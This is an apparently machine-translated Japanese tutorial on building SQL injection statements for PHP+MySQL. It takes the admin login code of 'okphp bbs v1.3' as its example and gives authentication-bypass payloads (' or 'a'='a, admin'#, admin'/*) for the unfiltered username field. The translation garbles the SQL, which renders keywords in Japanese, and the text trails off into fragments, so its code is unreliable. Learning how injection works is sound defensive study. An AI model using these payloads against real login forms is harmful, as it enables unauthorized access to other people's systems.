php チュートリアルと mysql チュートリアル自体のため、php+mysql のインジェクションは、特にインジェクション中のステートメントの構築が難しくなります。この記事では主に okphp bbs v1.3 のいくつかのファイルの簡単な分析を使用します。 、php+mysqlインジェクションステートメントの構築方法についてお話します。この記事があなたのお役に立てれば幸いです。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、実際には存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2.「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:
コード
$conn=sql_connect($dbhost, $dbuser, $dbpstutorialwd, $dbname); $password = md5($password); $q = "username='$username' およびpassword =' の $user_table から id,group_id を選択します$password'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); $q = "$user_table から id、group_id を選択します (username='$username'、password=' $password)
中
$username と $password はフィルタリングされないため、簡単にバイパスできます。 (php100中国語ウェブサイト)
select * from $user_table where username='$username' およびpassword='$password' などのステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' または 'a'='a $password=' または 'a'='a
SQL文と同等:
select * from $user_table where username='' または 'a'='a' and passwd='' または 'a'='a'
構築 2 ($password をコメントアウトするには、mysql のコメント ステートメント # # /* を使用します): $username=admin'# (または admin'/*)
つまり、
select * from $user_table where username='admin'#'、password='$password'
同等:
select * from $user_table where username='admin'
admin/login.phpの$qステートメントの$passwordはクエリ前にmd5暗号化されるため、構築1のステートメントではバイパスできません。ここでは構築 2 を使用します:
username='admin'#'、password='$password'"の$user_tableからid、group_idを選択します
以下と同等:
username='admin' の $user_table から id、group_id を選択します
1 2 3
。